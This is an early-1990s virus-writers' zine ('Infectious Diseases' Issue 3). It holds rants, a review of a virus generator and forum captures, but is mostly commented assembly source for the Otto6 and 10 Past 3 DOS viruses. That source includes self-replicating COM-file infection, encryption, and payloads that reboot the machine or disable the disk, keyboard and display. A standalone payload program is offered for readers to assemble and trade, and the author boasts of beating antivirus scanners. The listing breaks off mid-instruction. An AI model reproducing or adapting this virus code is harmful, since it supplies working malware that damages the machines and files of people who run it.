================================= Infectious Diseases, Issue 3, Contents: ================================= Produced by Virulent Graffiti Virus Production Organization Edited By The Attitude Adjuster As one irate father said to his slightly preturbed son... "Give me a reason I should let you use my computer, if all you do is write viruses on it!?!" Welcome to my world, dad! Contents ..................................................... I-D003.001 Letter of Ranting from The Attitude Adjuster ................. I-D003.002 Phalcon/Skism Gý Review ...................................... I-D003.003 What I saw the other day on FidoNet .......................... I-D003.004 Disassembly of (HA) YAM's Otto 6 ............................. I-D003.005 Fred Cohen on Virus Based Products ........................... I-D003.006 Disassembly of 10 Past 3 ..................................... I-D003.007 Soupy Virus Source ........................................... I-D003.008 Rapidly Approaching .......................................... I-D003.009 The Confusion Ended? ......................................... I-D003.010 'Shit... What's wrong NOW?!?' ................................ I-D003.011 Disassembly of (we promise this is the last for now) the Fellowship Virus ............................................. I-D003.012 DWI Source ................................................... I-D003.013 VGVPO Propaganda ............................................. VGVPO.ANS The Adventures Guild Ad ...... TAG.ANS Unphamiliar Territory Ad ..... UPT.TXT Way Cool Lost Horizons Intro . HORIZONS.EXE are those over the counter virus remedies doing nothing for you? do you feel as if maybe youre a little bit fucked in the head for buying that computer in the first place? maybe its the annoying snide comments on the screen, or the fact that windows doesnt seem to work anymore, the secondhand software kills the drive blues... whatever it is, you have realized that we are winning, and you are loosing... badly Greetings: Invalid Media, DecimatoR, GHeap, Dark Angel, Pyster, Unfriendly Giant, HitMan, Mirage, Shades, all virus writers everywhere, my Mom (my modem ate her!), ICTOA, Paul, Josh, and anybody else I forgot... oh, yeah, and you too... ============================================ Personal Rant from The Attitude Adjuster By... err, The Attitude Adjuster ============================================ Err... yo! Welcome again to Infectious Diseases, and we hope you enjoy this as much as you've enjoyed our past productions (right... sure...). It has been a both discouraging and illuminating time since last issue's release. I have raved on FidoNet more and more (those of you who know me by name can see my great revelations... I have to keep myself under control when I use my real name, hopefully I can get one of those Jon Johnson type accounts to really allow me to express myself...), and was the one who instigated the 'YAM really did write it' lie... I guess I've kind of toned down on my YAM bashing, and even edited out most of the bad comments about them in my dissassembly of their virus in this issue... I was rather pissed/saddened at the busting of ARCV, which Phalcon/ SKISM has covered with commendable speed and accuracy, thanks guys! Now, I must say both 'Thank You,' and 'Fuck You,' to all Virulent Graffiti members, who have both tried and not tried to get articles in for ID. I, being the asshole-take charge type guy I am edited and put this issue together in about 4 days, and will probably release it without the knowledge of the group... I am quite happy with it, mainly because it contains my disassemblies, and little else... If you don't love yourself, who do you love? Also, I am trying something new... I know that I love to view the activation routines out of viruses, but, ripping the code out is an undue pain in the ass, and, I'd rather not run just any virus on my system... I have ripped the 'bomb' routines from Otto6, Soupy, and Fellow- ship, and left them as seperate code under the disassemblies... Go ahead and assemble 'em, show 'em off... trade with friends... ah... I need a life.. You'll note that this has a 40Hexish/Social Delinquency look to it. Well, both of those publications are quite successful, so I figured that I should use a conglomeration to see what I could come up with... For those of you that (in the past) call us a P/S copy group, we will again tell you to go fuck yourselves... True, we both are doing a YAM disassembly, and true, I am stealing a little of the format, but, the first is a pure coincedence, and the seconds is professional opinion over ownership... Also note that we are never planning to release an MPC hack, in Pascal or other- wise! ======================== Review of the P/S Gý By The Attitude Adjuster ======================== NOTE: The word 'idiot' is used throughout this document to refer to people who would actually assemble MPC or Gý code and use it as an original virus. Do not confuse this term with the 'idiot' which refers to users of the 'Bad Influence' BBS (who would probably fit into the other category as well!) "Gý, Phalcon/Skism's newest virus creation tool, is designed to allow everyone easy access to computer virus source code. More than a simple Vienna hack generator, it creates viruses "on-the-fly" as per the user specifications. Gý is designed to be easily maintainable and extensible through the use of special data files created especially for use by the program." -=P/S=- Gý Documentation I downloaded it eagerly, with the same anticipation I feel with every P/S creation... I exited back to the famed 'C Prompt,' and began unzipping the new find... but wait... I expected a revised PS-MPC... and I was (happily) mistaken... Dark Angel has created another classic (though sure to get listed under PS-MPC in VSUM, 'cuz hey, she doesn't even know her own name, let alone what to name anyone's virus... [she fucked me over too, guys!]), even more effective than the PS-MPC (or prunes...), and even more elegant than the most IDE-Filled, Icon Based piece of Dynamic Link Library trash. 'On- the-fly' virus generation has come a long way from the VCS and VCL days. The code is excellent, and even improved over MPC coding. I am amazed and thrilled by the size of the code, as it is most compact, a great learning tool for code optimization. The new 'debug resistance' is also a feature to be commended. Using the Intel's 'one-byte-interrupt,' and the fact that this interrupt is used as a breakpoint in debuggers makes for havok in most debuggers. Still, a hardened programmer can slide by it, but, the 'one-byte-interrupt' factor makes that a bitch, as the interrupt is, as I said, only one byte, instead of the average 'CD XX' type configuration... As with any virus generator, there are cons to be discussed. DecimatoR makes this point quite clear in 40Hex-9... allow me to quote him... "The authors of MPC and VCL are very talented programmers. Unfortunately, the users of their programs are just the opposite. REAL virus programmers have a desire to LEARN assembler - it's a test of their skill and ability. The users of MPC and VCL don't have that desire. They only have a desire for recognition - and seeing their name in a virus is a massive ego trip for them. Why? They did nothing that any Joe Blow couldn't have done using a code generator. If they REALLY want to prove how cool they are, let THEM write a damn virus generation program and release it. THAT ALONE will show the world their skill and ability. As for USING the program, well, I'm more impressed with a nicely formatted term paper using WordPerfect than I am with viruses created using MPC and VCL. If you're one of the lame idiots who uses MPC or VCL for "writing" viruses, then listen up - those programs were written for 2 reasons - to prove the programmer could write such a thing, and to be used as a LEARNING TOOL for future virus writers - NOT to be abused the way they currently are." Exactly the point I want to make, barring that he is not as violent as I am... but I will stifle the CAPS LOCK here... There WILL always be the idiots out there that refuse to learn, merely to 'Wr1tE GnU \/1/>uZeZ (0/> \/I/>11)!!!1!11' Alas, they will NEVER learn, and, though we may try, points like ours offer little help. That's why my personal opinion of code generators is quite low. Yes, it is a VERY impressive work, and, I commend DA for his, as I do Nowhere Man for his VCL, but, I am still not a supporter of code generators. It's the stigma I have with 'learning,' something that dates back to when I was H/P avid (yeah, I' m a hacker turned programmer... yuk!). There was a hush about users, you kept your mouth shut, learned what you saw, read the t-files, and did slave work, like scanning, or simple hacking, and you picked it up. The code generator idea is fine with me, but, it's release to the general public hits the nerve in me that many H/P people balked about when SYS-75 information is released into the public... there seems to be too much power in the hands of blithering idiots. A beautiful virus, masterfully coded and programmed, with actual work by a good-intentioned programmer is fine with me, but, like being harassed by a company that has had it's INWATS fucked over, having my HD smashed by a virus coded entirely in MPC, VLC, or Gý with a stupid FAT fucker added in will really ruin my day. (On this note, this would never happen... only the most heavily armored stealth will get thru my anti- virus software, which I wrote myself) Idiots will use the generator, whether you try to stop them or not. The 'password' on VCL (which was shittily concealed anyway... I mean, the average joe could tell the ZIP password was ARoseIsARose) did nothing, and as a result, there are malicious VCL viruses out there. This is why a listed future improvements bother me... let me quote it directly... "o Supports multiple, semi-polymorphic encryption routines (full polymorphism coming soon)." Yep... that's what it says, ' full polymorphism.' I have no doubt that DA can do it. I have dissassembled (partially to source level) the MtE and fucked with the new (and seemingly fucked up first version of) TPE and have seen that it is not as hard as plugged to be, merely a task that must be planned and charted from the start, as it is, in itself, a huge task. Full polymorphism is something we would all benifit from, but, not to be given in source form to idiots. I'd belive that text files on this subject, or something of that like would be more appropriate... but, hey... On the note of DA's semi-polymorphic routines, they are, indeed, semi-polymorphic. In the future, he might try something like instruction flipping or selective BS addition, as an alternative to full polymorphism. I also fucked up in my original analysis, and I apologize. Assuming that DA uses all 4 indexable registers (SI,DI,BP,BX) for indirect addressing, and all other unused registers for counting purposes, coupled with INC/INC, ADD, and SUB incrementing, and add and xor encryption (I assembled a total of 100 different CFG files, and only found xor and add encryption) I'd have to guess at 144 generic wildcard strings to suffice. This is, of course, too many. Now, assuming that we apply code frame tactics, we get the following: MOV (UNKNOWN REGISTER), WORD (COULD BE THE INDEXABLE, MAYBE NOT) MOV (UNKNOWN REGISTER), WORD (DITTO) CRYPTLOOP: 002Eh (ONLY IN EXE INFECTORS, CODESEG OVERRIDE) BYTE (CORRESPONDS TO REGISTER USED FOR OPERATION (INDEXABLE)) BYTE (EITHER 7 OR 37) WORD (XOR OR ADD VALUE) EITHER INC/INC, SUB (INDEX REGISTER), -02 OR ADD (INDEX REGISTER), 2 LOOP LOOPCRYPTLOOP (ONLY IF BYTE COUNTER IS CX) (OTHERWISE) EITHER DEC/DEC, SUB (BYTE COUNT), 2 OR ADD (BYTE COUNT), -2 OR (BYTE COUNT),(BYTE COUNT) JNZ CRYPTLOOP Alogrythmically, this is a piece of cake, which is great, 'cuz the more alogrythmic scans that must be added to a scanner, the greater it's size and slowness grow... score one more for the virus writers. Indeed, with the addition of Gý into the world, this is one more big score for the virus writers... thaks DA! ========================= What I saw on FidoNet Capture By The Attitude Adjuster ========================= Here's something I pulled offa FidoNet Virus... kinda discourages me in some ways I'll explain below. =========================================================================== From : GREG GREELY Number : 858 of 987 To : ALL Date : 12/16/92 12:42pm Subject : True story Reference : NONE Read : [N/A] (REPLIES) Private : NO Conf : 168 - Virus................(FN) Hey, I have a true story for you all. I got a call from a doctor' s office. Their computers were acting strange and locking up so I went over there and took a look at the system. Nothing was out of place until I scanned it. Turns out, the guy has a Stoned virus that's gone critical and he didn't even know it. He had scan but didn't know how to run it. Since the system was already critical, I needed a clean system disk to run CLEAN. It turns out the system disk(the original) was infected too. The other 2 copies of the system disk, Dbase 3++, Wordperfect, Windows 3.1, all of them. Every single application and every single disk he had were infected. I didn't have a system disk with me so I had to charge him double for going home and getting one. Some people are sooooooooo ignorant. What a moron. --- Renegade v12-04 Beta * Origin: DragonsLaire BBS - 718-596-5938 (1:278/613) =========================================================================== Okay, Mr. Greely... what a moron, eh? Is this the message Anti-Virus wants to give to the public? Be smart or else... I hardly think so... Anyway, as for this message, I feel so stupid now, 'cuz I don't have a system disk laying here, and you' d probably have to charge me double! I think that I should probably be shot because I am so anti- virus ignorant. Wake up, you idiot! The man didn't know... so, you ridicule him, not a brilliant strategy. The man needed to be informed, not chastized behind his back... I'm not sure, is this the attitude of most "Anti-Virus Professionals?" I'd like to know... if you consider yourself one, write us on one of our boards... =========================== Disassembly of Otto 6 By The Attitude Adjuster =========================== Well... I can't help it, I wanted to brush up on my disassmembly skills, as future projects may call upon them... so, I find the cheapest, easiest looking virus I can find to tear to tiny little pieces. YAM's Evolution magazine showed up on Unphamiliar Territory, and after thoroughly laughing at it, I decided that I'd disassemble one of the 'virii' in it, just because they looked easy. The code was cheesecake, but, some of it was a tad confusing, and I have developed the following: "Stupid people do stupid things in stupid ways!" I realize that this is a slightly old YAM virus, and does not do justice to the level of some of their work, but, let's face it, some of this is damn funny! This code is a byte-for-byte matchup with Otto6, and I even followed the alternate encoding used by YAM's assembler... (apparently theirs loves to assemble using opcode r/m+mod reg, rather than the more conventional opcode reg r/m+mod!) Anyway, here's what Patti has to say about it... =========================================================================== Virus Name: Otto6 Aliases: V Status: Rare Discovered: September, 1992 Symptoms: .COM file growth; decrease in total system & available free memory; host program encrypted Origin: United States Eff Length: 640 Bytes Type Code: PNCK - Parasitic Non-Resident .COM Infector Detection Method: F-Prot, ViruScan, Sweep, AVTK 6.00+, UTScan 25.10+, NShld V99+, Sweep/N Removal Instructions: Delete infected files General Comments: The Otto6 virus was received in September, 1992. It is from the United States. Otto6 is a non-resident, direct action infector of .COM programs, including COMMAND.COM. It does install a small portion of its code in memory, though it is not a complete copy of the virus, and the virus is not infective from memory. When the first Otto6 infected program is executed, the Otto6 virus will install a small portion of its viral code at the top of system memory but below the 640K DOS boundary. Total system and available free memory, as indicated by the DOS CHKDSK program, will have decreased by 2,048 bytes. Interrupt 9 will be hooked by the portion of Otto6 resident in memory, providing it was not previously hooked by some other program. Also at this time, the Otto6 virus will infect one .COM program located in the current directory. Each time a program infected with the Otto6 virus is executed, the Otto6 virus will infect one previously uninfected .COM program located in the current directory. Infected programs will have a file length increase of 640 bytes with the virus being located at the end of the file. The program's date and time in the DOS disk directory listing will not be altered. The following text strings are encrypted within the viral code: "OTTO6 VIRUS, <<éS>>, YAM, COPYRIGHT MICROSHAFT INDUSTRIES 1992" "<<éS>> YAM, MICROSHAFT INDUSTRIES (tm.) 1992!" "*.COM" The Otto6 virus is an encrypted virus. It not only encrypts the viral code, but the host program as well. It is unknown what Otto6 does besides replicate. =========================================================================== Oh, yeah, and I can tell you what it does besides replicate... it displays it' s second copyright message when you press Ctrl-Alt-Del... big shit, eh? Shit, I'm surprised that description doesn't read COM and EXE growth... you can never be certainly with those wily little viruses! =========================================================================== ; Otto #6 Virus, By Youth Against McAfee ; Disassembly By The Attitude Adjuster of Virulent Graffiti for ; Infectious Diseases 3 and some other uses... ; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup ; TLINK /t otto5.obj ; The assembled code will NOT execute... a big thanks to YAM for that one! The ; only workaround I got is to trace thru til the mov [00FFh], al, and just ; move the ip ahead to startencrypt! .model tiny .code org 100h start: db 0e9h, 02, 00 ; jmp near virusentry nop ; they had to be here nop ; in the original virusentry: call getdelta ; get delta ofs getdelta: pop si push si sub si,offset getdelta ; sub original ofs pop ax ; delta in ax sub ax,100h mov ds:[00FFh],al ; ds:00FFh == al push si ; save delta mov cx,260h ; ieterations add si,offset startencrypt cryptloop: xor [si],al ; xor inc si rol al,1 ; rotate loop cryptloop ; loop if cx > 0 pop si ; delta in si startencrypt: mov ax,word ptr ds:[first3+si] ; restore first mov dh,byte ptr ds:[first3+si+2] ; 3 bytes mov word ptr ds:[100h],ax mov byte ptr ds:[102h],dh lea dx,[si+file] ; find *.COM xor cx,cx mov ah,4Eh findfirstnext: int 21h jnc checkinfected ; carry? jmp takeithome ; no more files checkinfected: ; check file mov dx,offset 9Eh ; filename in default mov ax,3D02h ; dta int 21h ; open file r/w mov bx,ax ; handle in BX mov ax,5700h ; get file date int 21h cmp cl,3 ; cl = 3? jne infectitthen ; nope mov ah,3Eh ; infected, close int 21h mov ah,4Fh ; find next *.COM jmp short findfirstnext ; again infectitthen: ; infect the file push cx ; push time push dx ; push date call lseekstart ; lseek beginning lea dx,[si+first3] ; buffer at first3 mov cx,3 ; read 3 bytes mov ah,3Fh int 21h xor cx,cx ; lseek the end xor dx,dx ; fileside DX:AX mov ax,4202h int 21h ; 4D1h mov word ptr ds:[fsize+si],ax ; save fsize sub ax,3 ; calculate jump mov word ptr ds:[fsize2+si],ax call lseekstart add ax,6 ; fsize+3 mov byte ptr ds:[lob+si],al ; lob of fsize+3 mov cx,word ptr ds:[fsize+si] ; size of file lea dx,[si+heap] ; point at buffer mov ah,3Fh int 21h ; read push si ; push delta mov al,byte ptr ds:[lob+si] ; lod of fsize+3 add si,offset ds:[heap+3] ; point at code call encrypt ; encrypt original pop si ; pop delta call lseekstart ; lseek beginning mov cx,word ptr ds:[fsize+si] ; fsize lea dx,[si+heap] ; buffer at heap mov ah,40h ; write file int 21h jnc finishinfect ; error (attributes) jmp short takeithome ; yes finishinfect: lea dx,[si+virusentry] ; write encrypter mov cx,startencrypt-virusentry ; to file mov ah,40h int 21h push si ; push delta mov cx,heap-startencrypt ; virus length-crypt ; mov di,si ; delta in di db 89h, 0F7h ; alternate encoding add di,offset ds:[heap] ; point at heap add si,offset ds:[startencrypt] ; point at virus rep movsb ; copy code to heap pop si ; pop delta push si ; push delta mov al,byte ptr ds:[lob+si] ; lob of fsize+3 mov cx,heap-startencrypt ; virus length add si,offset ds:[heap] ; buffer at heap call encrypt ; encrypt heap pop si ; pop delta mov cx,heap-startencrypt ; virus length lea dx,[si+heap] ; buffer at heap mov ah,40h ; write virus int 21h jc takeithome ; error? call lseekstart lea dx,[si+jump] ; buffer at jump mov ah,40h ; write jump mov cx,3 int 21h jc takeithome ; error? pop dx ; pop date pop cx ; pop time mov cl,3 ; set infected flag mov ax,5701h ; set time int 21h mov ah,3Eh ; close file int 21h takeithome: push si ; push delta mov al, byte ptr ds:[00FFh] ; saved xor byte xor cx,cx ; add cx,si ; the pricks use db 01, 0f1h ; alternate encoding add cx,3 ; ieterations in cx mov bp,103h mov si,bp ; unencrypt old code call encrypt pop si ; pop delta mov bp,100h ; where to RET to mov ax,0B0Bh ; RuThereCall int 9 cmp ax,0BEEFh ; if beefy, it's je skipinstall ; installed xor ax, ax mov ds, ax ; interrupt table lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX push bp ; push ret addr mov bp,offset ds:[old9] ; JMP FAR PTR mov cs:[bp+si+1],bx ; offset mov cs:[bp+si+3],ds ; segment pop bp ; pop ret addr mov bx,es dec bx ; our MCB paragraph mov ds,bx sub word ptr ds:[0003],80h ; allow for us to get ; some memory mov ax, word ptr ds:[0012h] ; 1st unused segment sub ax,80h mov word ptr ds:[0012h],ax ; replace valu mov es,ax ; es = our new seg push cs ; ds = cs pop ds xor di,di ; es:0000 = dest. ; mov bx,si ; more alternate db 89h, 0f3h ; encoding!! lea si,[bx+our9] ; buffer at our9 mov cx,200 ; more than enough rep movsb ; copy 200 bytes mov ds,cx ; cx = 0000 mov word ptr ds:[9*4],0 ; offset (int 9) mov word ptr ds:[9*4+2],es ; segment (int 9) skipinstall: push cs ; restore segments push cs pop ds pop es push bp ; return to 100h ret encrypt: ; encrypt xor [si],al ; xor inc si rol al,1 ; rotate left loop encrypt ; Loop if cx > 0 ret db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, ' db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)' lseekstart: push ax push cx push dx mov ax, 4200h ; lseek beginning xor cx,cx xor dx,dx int 21h pop dx pop cx pop ax ret our9: ; our int9 handler cmp ax, 0B0Bh jnz NotRuThere ; not an ruthere mov ax, 0BEEFh IRet ; int return NotRuThere: push ax ; save registers push bx push ds xor ax,ax ; BIOS segment mov ds,ax in al,60h ; get keyboard input mov bl, byte ptr ds:[0417h] ; get shift status test bl,08 ; alt pressed? jz removeregistersandleave ; no test bl,04 ; ctrl pressed? jz whyisthishere ; no cmp al, 53h ; delete? jnz removeregistersandleave ; nope! and bl,0F3h ; mask off bits mov byte ptr ds:[0417h],bl ; place in bios jmp onwardbuttheads ; go on whyisthishere: cmp al,4Ah ; why is this here? jne removeregistersandleave removeregistersandleave: pop ds ; remove registers pop bx pop ax ; jmp returntoold9 ; more wierd db 0e9h, 20h, 00 ; encoding! onwardbuttheads: push cs ; ds = cs pop ds mov ax,3 ; 80x25 text mode int 10h mov ah,2 ; set cpos mov bh,0 mov dx,0A14h ; 10,20 int 10h mov si,yamlogo-our9 ; point to logo pointlessloop: loop pointlessloop lodsb ; load string byte cmp al,0 ; end of string? je coldbootus ; yes mov ah,0Eh ; display char in al int 10h jmp short pointlessloop returntoold9: old9 db 0EAh ; JMP FAR PTR dd 00000000 ; Int 9h yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!' db ' ',0 coldbootus: mov dx,28h mov ds,dx ; DS = 0028h mov word ptr ds:[0072h],0 ; DS:0072h=0 ; the above does nothing, as the byte they are looking to modify is ; the warm-boot status byte, at 0040:0072h... duh... db 0EAh ; JMP FAR PTR db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector file db '*.COM',0 ; search wildcard first3 db 0CDh, 20h, 00h ; buffered 1st 3 jump db 0E9h ; jmp near fsize2 db 50h, 01h lob db 56h ; lob of fsize+3 fsize db 53h, 01h ; filesize heap: end start =========================================================================== ; Hurredly written stand-alone demonstration of Otto6, By The Attitude ; Adjuster. ; Assemble with: ; tasm obomb /m2 ; tlink obomb /t .model tiny .code org 100h start: mov ax, 0B0B0h int 9 cmp ax, 0BEEFh jz exit mov ax, 3509h int 21h mov word ptr [old9+1], bx mov word ptr [old9+3], es mov ax, 2509h mov dx, offset our9 int 21h mov dx, offset endofit int 27h exit: int 20h our9: ; our int9 handler cmp ax, 0B0Bh jnz NotRuThere ; not an ruthere mov ax, 0BEEFh IRet ; int return NotRuThere: push ax ; save registers push bx push ds xor ax,ax ; BIOS segment mov ds,ax in al,60h ; get keyboard input mov bl, byte ptr ds:[0417h] ; get shift status test bl,08 ; alt pressed? jz removeregistersandleave ; no test bl,04 ; ctrl pressed? jz whyisthishere ; no cmp al, 53h ; delete? jnz removeregistersandleave ; nope! and bl,0F3h ; mask off bits mov byte ptr ds:[0417h],bl ; place in bios jmp onwardbuttheads ; go on whyisthishere: cmp al,4Ah ; why is this here? jne removeregistersandleave removeregistersandleave: pop ds ; remove registers pop bx pop ax ; jmp returntoold9 ; more wierd db 0e9h, 20h, 00 ; encoding! onwardbuttheads: push cs ; ds = cs pop ds mov ax,3 ; 80x25 text mode int 10h mov ah,2 ; set cpos mov bh,0 mov dx,0A14h ; 10,20 int 10h mov si,offset yamlogo ; point to logo pointlessloop: loop pointlessloop lodsb ; load string byte cmp al,0 ; end of string? je coldbootus ; yes mov ah,0Eh ; display char in al int 10h jmp short pointlessloop returntoold9: old9 db 0EAh ; JMP FAR PTR dd 00000000 ; Int 9h yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!' db ' ',0 coldbootus: mov dx,28h mov ds,dx ; DS = 0028h mov word ptr ds:[0072h],0 ; DS:0072h=0 ; the above does nothing, as the byte they are looking to modify is ; the warm-boot status byte, at 0040:0072h... duh... db 0EAh ; JMP FAR PTR db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector endofit: end start =========================================================================== ======================== Virus Based Products By Fred Cohen Capture by The Fly ======================== I am surprised that so many well respected Virus-L readers and writers failed to understand the implication of creating 1500 viruses per day that are not detected by existing scanners. The point is that the number or percentqge of viruses detected is not as important as the effect of the product. Of the CARO collection of over 1500 viruses, only a small portion have ever been found at a substantial number of sites, and many are collector-only viruses that have never appeared in the wild. I am quite astounded by the concept that creating viruses in the privacy of my home should offend anti-virus types. In fact, I have had automated virus generation systems running for several years. At one point, I was trying to create ecosystems by randomly generating tens of thousands of candidates per day, many of which were successful viruses. Why does this offend other researchers? And I take it from some of the comments that these researchers have NEVER created a virus of their own to explore the concept! It's sad that people who have never tried it feel free to condemn it. Or have they done it and simply don't have the integrity to admit it? ASP has already introduced one virus-based commercial product (which has never been detected as a virus by any scanner) which operates quite well, and we are in the process of creating another virus-based product designed to operate in LANs. Our users don't seem to be offended by the optimization of resource utilization, automated distribution and installation, high reliability, and small space used by our products based on viruses, but it seems to offend the anti-virus community that all of their overblown claims about all viruses being bad are being undercut by benevolent viruses that are safe and reliable. In fact, most of our viruses work on far more systems than most virus defenses, and they don't spread where they are not supposed to go. They are easy to control and remove, they are compatable with every DOS based system we have seen to date, and they have never generated any unintended side-effects. Kinda blows the whole "all viruses are bad" thing, huh! NEW PRODUCT ANOUNCEMENT - BENEVOLENT VIRUSES IN LANS AUTOMATE MUCH OF LAN MANAGEMENT - ANTI-VIRUS COMMUNITY SHUDDERS - SCANNER PRODUCTS MUST ADAPT TO DIFFERENTIATE BETWEEN KNOWN GOOD VIRUSES AND VARIENTS CREATED BY BAD VIRUS WRITERS - FOR DETAILS CONTACT ASP P.S. considering the people who agree with my recent postings, I may have been wrong - nah - you know you're not saying much when everyone agrees with you - the lemmings to the sea thing and all. ============================ Disassembly of 10 Past 3 By The Attitude Adjuster ============================ Well... I was bored, and, I am still relatevly bad at doing disassemblies, so, I thought I'd do a seemingly interesting virus, and do it well... First, what Patti says... =========================================================================== Virus Name: 10 Past 3 Aliases: 748 V Status: Rare Discovery: 1991 Symptoms: .COM file growth; keyboard keypresses altered; system reboots; hardware devices disabled or interference Origin: Unknown Eff Length: 748 Bytes Type Code: PRaCK - Parasitic Resident .COM Infector Detection Method: CPAV 1.4+, AVTK 6.0+, F-Prot, IBMAV, Iris, Panda, VNet, VBuster 3.93+, ViruScan V99+, Sweep 2.43a+, Trend, AllSafe, ViruSafe, NAV 2.1.2+, UTScan 25.10+, Vi-Spy, CPAV/N, LProt, NShld V99+, Sweep/N Removal Instructions: Delete infected files General Comments: The 10 Past 3, or 748, virus was submitted in November, 1992. This virus was actually isolated much earlier, in early 1991. 10 Past 3 is a memory resident infector of .COM programs, including COMMAND.COM. The first time a program infected with the 10 Past 3 virus is executed, this virus will install itself memory resident in low available system memory, hooking interrupts 21 and 6B. Total system and available free memory, as measured by the DOS CHKDSK program, will not be altered. Once the 10 Past 3 virus is memory resident, it will infect .COM programs, including COMMAND.COM, when they are executed. Infected programs will have a file length increase of 748 bytes with the virus being located at the end of the file. The program's date and time in the DOS disk directory listing will not be altered. No text strings are visible within the viral code. The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and 3:15PM) every day, at which time it will cause the "Ctrl" or "Shift" keys to be invokes occassionally when the system user enters a character on the system keyboard. As a result, the character input may not be the same as what the user intended. Additionally, it either disables or interfers with the functioning of the following devices on the days of any month indicated below: 1st day of any month - keyboard 10th day of any month - system hard disk 16th day of any month - system monitor/display 29th day of any month - disk drives On the 22nd day of any month, unexpected system reboots may occur. Known variant(s) of 10 Past 3 are: 10 Past 3-B: A 789 byte variant of the 10 Past 3 virus, this variant adds 789 bytes to the .COM programs it infects, including COMMAND.COM. It will occassionally display the following text on the system monitor: "Therese" The text is visible within the viral code in all 10 Past 3-B infected programs. Origin: Republic Of South Africa January, 1993. =========================================================================== Now, allow me to quote from the woman who can't write... 'The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and 3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"' Sheesh, Patti, grow a little programming knowledge, and maybe learn how to read military time! Anyway, here's the code, hope you like it... I found it to be a thoroughly boring piece of code, 'cept for a few little things, just angles I had yet to look from... As always, this is byte for byte with the sample that I worked from... Scans as it, must be it ("Look man, RedX!" Ha!)... =========================================================================== .model tiny .code ; 10 Past 3, Disassembly done by The Attitude Adjuster for ID Issue 3. ; All hail the holy XCHG AX,AX! org 100h start: db 0E9h, 1Dh, 00 ; jmp near intovirus db 0B4h, 09h ; mov ah, 9 int 21h int 20h nop ; F!#K nop ; F!#K nop ; F!#K nop ; F!#K nop ; F!#K nop ; F!#K nop ; F!#K hello db 'Hello world !', 0Dh, 0Ah, '$' intovirus: jmp short furtherintovirus nop ; F!#K saved2: db 0Ah, 24h jumpnear: db 0E9h, 1Dh, 00h sizestore: db 20h, 00h attribs: db 20h filetime: db 42h, 8Fh, 51h, 15h what: db 01h, 00h what2: db 00h, 00h old24: db 56h, 05h,0E1h, 33h db 00h fileofs: db 25h, 01h,0C4h, 34h furtherintovirus: mov word ptr ds:[100h], 10BAh ; Replace 1st 3 buffa2: mov byte ptr ds:[102h], 1 ; bytes of COM xor ax,ax ; Interrupt Table mov ds,ax cmp word ptr ds:[6Bh*4], 4246h ; check 1st ruthere jne installus cmp word ptr ds:[6Bh*4+2], 2206h ; check 2nd ruthere je alreadyinstalled installus: call installvirusinmemory jmp short alreadyinstalled nop ; F!#K installvirusinmemory: mov word ptr ds:[6Bh*4], 4246h ; set RUTHERE's mov word ptr ds:[6Bh*4+2], 2206h push cs ; cs = ds pop ds mov ax, 3521h ; get int 21h int 21h ; vector modme2: mov si, offset gobackfromwhenceyoucame ; save int 21h mov [si+1], bx ; vector mov [si+3], es push es push bx pop dx pop ds mov ax, 256Dh ; int 6dh = int 21h int 21h modme1: mov si, offset intovirus mov ax, 40h ; bios mov ds, ax mov ax, ds:[0013h] ; (0040:0013=280h) mov cl, 6 shl ax, cl ; shift to segment sub ax, 800h ; minus 800 paras mov es, ax ; in ES xor di, di ; destination 0 mov cx, endofvirus - intovirus ; ieterations push cs ; cs = ds pop ds rep movsb ; copy it mov ax, 2521h ; set int 21h push es pop ds mov dx, int_21_handler - intovirus int 21h mov si, 17h mov byte ptr [si], 0 ret alreadyinstalled: call debuggerreboot push cs push cs pop ds pop es mov ax, offset start jmp ax ; advance to go debuggerreboot: mov ax, 0F000h ; hi bios mov ds, ax mov dx, offset 0FFF0h ; ssi = reboot mov ax, 2501h int 21h mov ax, 2503h ; brkpt = reboot int 21h ret int_21_handler: push ax push bx push cx push dx push di push si push es push ds mov ah, 2Ah ; get date int 6Dh cmp cx, 7C7h ; is year 1991 jb datenogood ; Jump if below cmp dl, 16h ; is date 22nd jne onwardguys ; nope db 0eah, 0F0H, 0FFH, 00, 0F0H ; reboot onwardguys: mov ah, 25h ; set int vector cmp dl, 1Dh ; is date 29th je dateisthe29th cmp dl, 1 ; is date 1st je dateisthe1st cmp dl, 0Ah ; is date 10th je dateisthe10th cmp dl, 10h ; is date 16th je dateisthe16th jmp short datenogood nop ; F!#K dateisthe29th: mov al, 13h ; disks jmp short setvector nop ; F!#K dateisthe1st: mov al, 16h ; keyboard jmp short setvector nop ; F!#K dateisthe10th: mov al, 0Dh ; fixed disk jmp short setvector nop ; F!#K dateisthe16th: mov al, 10h ; video setvector: push cs ; ds = cs pop ds mov dx, bigproblems - intovirus int 6Dh datenogood: mov ax, 40h ; bios mov ds, ax mov ax, ds:[006Eh] ; clicks since 12AM mov bx, ds:[006Ch] push cs ; ds = cs pop ds mov si, 0017h ; keyboard status mov cl, ds:[si] cmp cl, 1 ; only right shift je noactivate ; this here checks for approximately 3:10 to 3:15 vicinity cmp ax, 0Fh ; timer hi = 0fh jne noactivate cmp bx, 2AA8h ; timer lo < 2AA8h jb noactivate cmp bx, 3774h ; timer lo > 3774h ja noactivate mov byte ptr [si], 1 ; right shift only mov ax, 3509h ; get int 9 vector int 21h push es push bx pop dx pop ds mov ax, 256Ah ; int 6ah = int 9 int 21h push cs pop ds mov dx, int_9_handler - intovirus ; set our int 9 mov ax, 2509h int 21h noactivate: pop ds pop es pop si pop di pop dx pop cx pop bx pop ax cmp ah, 4Bh ; execute call? je yeppersitsanexecute gobackfromwhenceyoucame: ; return to int 21h db 0EAh ; jmp far ptr db 60h, 14h, 02fh, 02h ; old int 21h vector returntoitall: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax jmp short gobackfromwhenceyoucame okayreamit: mov ax, 2524h ; set int 24h mov si, old24 - intovirus mov dx, cs:[si] mov ds, cs:[si+2] int 21h push 